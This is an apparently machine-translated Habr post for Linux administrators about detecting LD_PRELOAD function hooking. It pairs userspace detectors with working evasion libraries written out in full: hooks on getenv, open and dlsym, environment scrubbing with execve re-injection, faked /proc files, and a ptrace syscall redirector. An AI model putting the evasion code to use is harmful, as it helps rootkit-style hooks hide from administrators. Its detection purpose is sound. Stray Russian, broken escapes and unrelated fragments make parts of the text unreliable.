Auf der Suche nach LD_PRELOAD

Diese Notiz wurde 2014 verfasst, aber ich war gerade in Repressionen auf Habr und sie kam nicht ans Licht. Während der Sperre habe ich sie vergessen, aber jetzt habe ich sie in den Entwürfen gefunden. Ich dachte daran, sie zu löschen, aber vielleicht könnte sie jemand gebrauchen.

Auf der Suche nach LD_PRELOAD

Insgesamt ein kleines, freitagliches Lesevergnügen für Administratoren zum Thema der Suche nach "aktivem" LD_PRELOAD.

1. Kurze Abweichung für diejenigen, die mit der Funktionsersetzung nicht vertraut sind

Die anderen können gleich zu Abschnitt 2.

Fangen wir mit einem klassischen Beispiel an:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Wir kompilieren ohne irgendwelche Flags:

$ gcc ./ld_rand.c -o ld_rand

Und erwartungsgemäß erhalten wir 5 zufällige Zahlen unter 100:

$ ./ld_rand
53
93
48
57
20

Aber stellen wir uns vor, dass wir den Quellcode des Programms nicht haben und das Verhalten ändern müssen.

Wir erstellen unsere eigene Bibliothek mit unserer eigenen Funktionsdefinition, zum Beispiel:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Und jetzt ist unsere zufällige Auswahl durchaus vorhersagbar:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Dieser Trick wirkt noch beeindruckender, wenn wir unsere Bibliothek zuerst über

$ export LD_PRELOAD=$PWD/ld_rand.so

exportieren oder vorher ausführen

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

und dann das Programm im normalen Modus starten. Wir haben keine Zeile im Programmcode verändert, aber sein Verhalten hängt jetzt von der kleinen Funktion in unserer Bibliothek ab. Darüber hinaus existierte zu dem Zeitpunkt, als das Programm geschrieben wurde, das gefälschte rand sogar nicht.

Was hat unsere Programm dazu gebracht, das gefälschte zu verwenden? rand? Разберем по шагам.
Wenn die Anwendung gestartet wird, werden bestimmte Bibliotheken geladen, die die für das Programm benötigten Funktionen enthalten. Wir können sie mit ) und tommath (:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

ansehen. Diese Liste kann je nach OS-Version unterschiedlich sein, aber die Datei libc.somuss unbedingt dabei sein. Diese Bibliothek stellt die Systemaufrufe und grundlegenden Funktionen bereit, wie zum Beispiel öffnen, malloc, printf und so weiter. Unser rand gehört ebenfalls dazu. Lassen Sie uns das überprüfen:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Sehen wir uns an, ob sich die Liste der Bibliotheken ändert, wenn wir LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Es stellt sich heraus, dass die gesetzte Variable LD_PRELOAD dazu führt, dass unser ld_rand.so geladen wird, obwohl das Programm sie nicht anfordert. Und da unsere Funktion "rand" früher geladen wird als rand ab libc.so, hat sie das Sagen.

Es ist uns also gelungen, die ursprüngliche Funktion zu ersetzen, aber wie können wir sicherstellen, dass ihre Funktionalität erhalten bleibt und gewisse Aktionen hinzugefügt werden? Wir modifizieren unser Zufallszahlenspiel:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Hier drucken wir einfach einen Text aus, nachdem wir einen Zeiger auf die ursprüngliche Funktion erstellt haben. rand. Um die Adresse dieser Funktion zu erhalten, benötigen wir dlsym — das ist eine Funktion aus der Bibliothek libdl, die unser rand im Stapel der dynamischen Bibliotheken findet. Danach rufen wir diese Funktion auf und geben ihren Wert zurück. Dementsprechend müssen wir «-ldl» beim Kompilieren hinzufügen:

$ gcc -ldl -shared -fPIC .\/o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD\/ld_rand_evil.so .\/ld_rand
Böser injizierter Code
66
Böser injizierter Code
28
Böser injizierter Code
93
Böser injizierter Code
93
Böser injizierter Code
95

Und unser Programm verwendet «native» rand, nachdem es einige unerwünschte Aktionen ausgeführt hat.

2. Die Qual der Suche

In Kenntnis der potenziellen Bedrohung möchten wir feststellen, was preload ausgeführt wurde. Es ist klar, dass die beste Möglichkeit zur Erkennung darin besteht, es in den Kernel zu packen, aber mich interessierten die Möglichkeiten zur Erkennung im Userspace.

Im Folgenden werden Lösungen zur Erkennung und deren Widerlegung in Paaren vorgestellt.

2.1. Beginnen wir mit dem Einfachem

Wie bereits erwähnt, kann die zu ladende Bibliothek durch die Variable LD_PRELOAD oder indem sie in die Datei geschrieben wird /etc/ld.so.preload. Erstellen wir zwei einfache Detektoren.

Der erste — zur Überprüfung der gesetzten Umgebungsvariablen:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Der zweite — zur Überprüfung des Dateizugriffs:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Laden wir die Bibliotheken:

$ export LD_PRELOAD=$PWD\/ld_rand.so
$ echo "$PWD\/ld_rand.so" > /etc/ld.so.preload

$ .\/detect_base_getenv
LD_PRELOAD (getenv) [+]
$ .\/detect_base_open
LD_PRELOAD (open) [+]

Hier und weiter zeigt [+] auf eine erfolgreiche Erkennung.
Dementsprechend bedeutet [-] das Umgehen der Erkennung.

Wie wirksam ist ein solcher Detektor? Zuerst kümmern wir uns um die Umgebungsvariable:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl .\/ld_undetect_getenv.c -o .\/ld_undetect_getenv.so
$ LD_PRELOAD=.\/ld_undetect_getenv.so .\/detect_base_getenv
LD_PRELOAD (getenv) [-]

Ähnlich entfernen wir auch die Prüfung öffnen:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl .\/ld_undetect_open.c -o .\/ld_undetect_open.so
$ LD_PRELOAD=.\/ld_undetect_open.so .\/detect_base_open
LD_PRELOAD (open) [-]

Ja, hier könnten andere Zugriffsarten auf die Datei verwendet werden, wie z.B. open64, stat usw., aber im Grunde benötigt man für deren Täuschung dieselben 5-10 Zeilen Code.

2.2. Gehen wir weiter

Vorhin haben wir getenv() verwendet, um den Wert zu erhalten LD_PRELOAD, aber es gibt auch einen „niedrigeren“ Weg, um zu ENV-Variablen zu gelangen. Lassen Sie uns auf die Zwischenfunktionen verzichten und auf das Array **environ, in dem eine Kopie der Umgebung gespeichert ist:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Da wir hier Daten direkt aus dem Speicher lesen, kann ein solcher Aufruf nicht abgefangen werden, und unser undetect_getenv behindert nicht mehr die Erkennung des Eindringens.

$ LD_PRELOAD=.\/ld_undetect_getenv.so .\/detect_environ
LD_PRELOAD (**environ) [+]

Scheint es, dass damit das Problem gelöst ist? Es fängt gerade erst an.

Nachdem das Programm gestartet ist, ist der Wert der Variablen LD_PRELOAD im Speicher für die Angreifer nicht mehr nötig, das heißt, wir können es bis zur Ausführung irgendeiner Anweisung als gelöscht betrachten. Natürlich ist es schlecht programmiert, ein Array im Speicher zu bearbeiten, aber kann das jemanden aufhalten, der uns so oder so nicht wohlwollend gesinnt ist?

Dazu müssen wir eine eigene Fake-Funktion erstellen init(), in der wir das gesetzte LD_PRELOAD abfangen und an unseren Linker übergeben:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Wir führen aus, überprüfen:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  .\/ld_undetect_environ.c -o .\/ld_undetect_environ.so
$ LD_PRELOAD=.\/ld_undetect_environ.so .\/detect_environ
LD_PRELOAD (**environ) [-]

2.3. \/proc\/self\/

Allerdings ist der Speicher nicht der letzte Ort, an dem man eine Manipulation entdecken kann LD_PRELOAD, es gibt außerdem /proc/. Fangen wir mit dem Offensichtlichen an /proc/{PID}/environ.

Tatsächlich gibt es eine universelle Lösung für undetect **environ und /proc/self/environ. Das Problem liegt im "falschen" Verhalten unsetenv(env).

die korrekte Variante

void evil_init()
{
  \/\/ Zuerst speichern wir den aktuellen Wert von LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        \/\/ Befreien wir uns vom aktuellen LD_PRELOAD 
        \/\/unsetenv(env);
        \/\/ Anstelle von unset setzen wir einfach unsere Variable auf null
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  .\/ld_undetect_environ_2.c -o .\/ld_undetect_environ_2.so
$ (LD_PRELOAD=.\/ld_undetect_environ_2.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Aber stellen wir vor, dass wir ihn nicht gefunden haben und /proc/self/environ enthält "problematische" Daten.

Zuerst probieren wir unsere vorherige "Maskierung":

$ (LD_PRELOAD=.\/ld_undetect_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=.\/ld_undetect_environ.so

cat benutzt beim Öffnen der Datei immer noch dasselbe open(), daher ist die Lösung ähnlich wie die bereits in Punkt 2.1 beschrieben, aber jetzt erstellen wir eine temporäre Datei, in die wir die Werte des echten Speichers ohne die Zeilen, die enthalten, kopieren LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Und dieser Schritt ist erledigt:

$ (LD_PRELOAD=.\/ld_undetect_proc_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Der nächste offensichtliche Ort ist /proc/self/maps. Es macht keinen Sinn, dort zu verweilen. Die Lösung ist vollständig identisch mit der vorherigen: Wir kopieren die Daten aus der Datei abzüglich der Zeilen zwischen libc.so und ld.so.

2.4. Variante von Chokepoint

Diese Lösung gefällt mir besonders wegen ihrer Einfachheit. Wir vergleichen die Adressen der Funktionen, die direkt aus libc, und der "NEXT"-Adressen.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Wir laden die Bibliothek mit dem Abfangen von "open()" und überprüfen:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (Systemaufruf - open) [+]
Libc-Adresse: 0x7fa86893b160
Nächste Adresse: 0x7fa868a26135

Die Widerlegung war noch einfacher:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Systemaufrufe

Auf den ersten Blick scheint das alles zu sein, aber wir werden uns noch etwas mehr damit beschäftigen. Wenn wir den Systemaufruf direkt an den Kernel richten, können wir den gesamten Abfangprozess umgehen. Die Lösung ist unten aufgeführt, ist natürlich architekturspezifisch (x86_64). Lassen Sie uns versuchen, dies zur Erkennung des Öffnens zu implementieren ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Diese Aufgabe hat eine Lösung. Auszug aus man‘a:

ptrace ist ein Werkzeug, das es dem übergeordneten Prozess ermöglicht, einen anderen Prozess zu beobachten und zu steuern, seine Daten und Register zu lesen und zu ändern. Diese Funktion wird normalerweise verwendet, um Haltepunkte in einem Debugging-Programm zu setzen und Systemaufrufe zu verfolgen.

Der übergeordnete Prozess kann das Tracen initiieren, indem er zunächst die Funktion fork(2) aufruft, und der resultierende Kindprozess kann dann PTRACE_TRACEME ausführen, gefolgt von exec(3). Auf der anderen Seite kann der übergeordnete Prozess das Debuggen eines bestehenden Prozesses mit PTRACE_ATTACH beginnen.

Bei der Verfolgung wird der Kindprozess jedes Mal gestoppt, wenn er ein Signal erhält, auch wenn dieses Signal ignoriert wird. (Eine Ausnahme bildet SIGKILL, das wie gewohnt funktioniert.) Der übergeordnete Prozess wird darüber beim Aufruf von wait(2) informiert, wonach er den Inhalt des Kindprozesses vor dessen Fortsetzung prüfen und ändern kann. Danach erlaubt der übergeordnete Prozess dem Kind, die Ausführung fortzusetzen, manchmal, indem er das gesendete Signal ignoriert oder stattdessen ein anderes Signal sendet).

Somit besteht die Lösung darin, den Prozess zu überwachen, ihn vor jedem Systemaufruf anzuhalten und bei Bedarf den Fluss in die Trap-Funktion umzuleiten.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Überprüfen:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Vielen Dank

Charles Hubain
Chokepoint
ValdikSS
Philippe Teuwen
derhass

, deren Artikel, Quellcodes und Kommentare viel mehr für das Zustandekommen dieses Beitrags beigetragen haben als ich.

Quelle: habr.com

60GB SSD 8Gb DDR4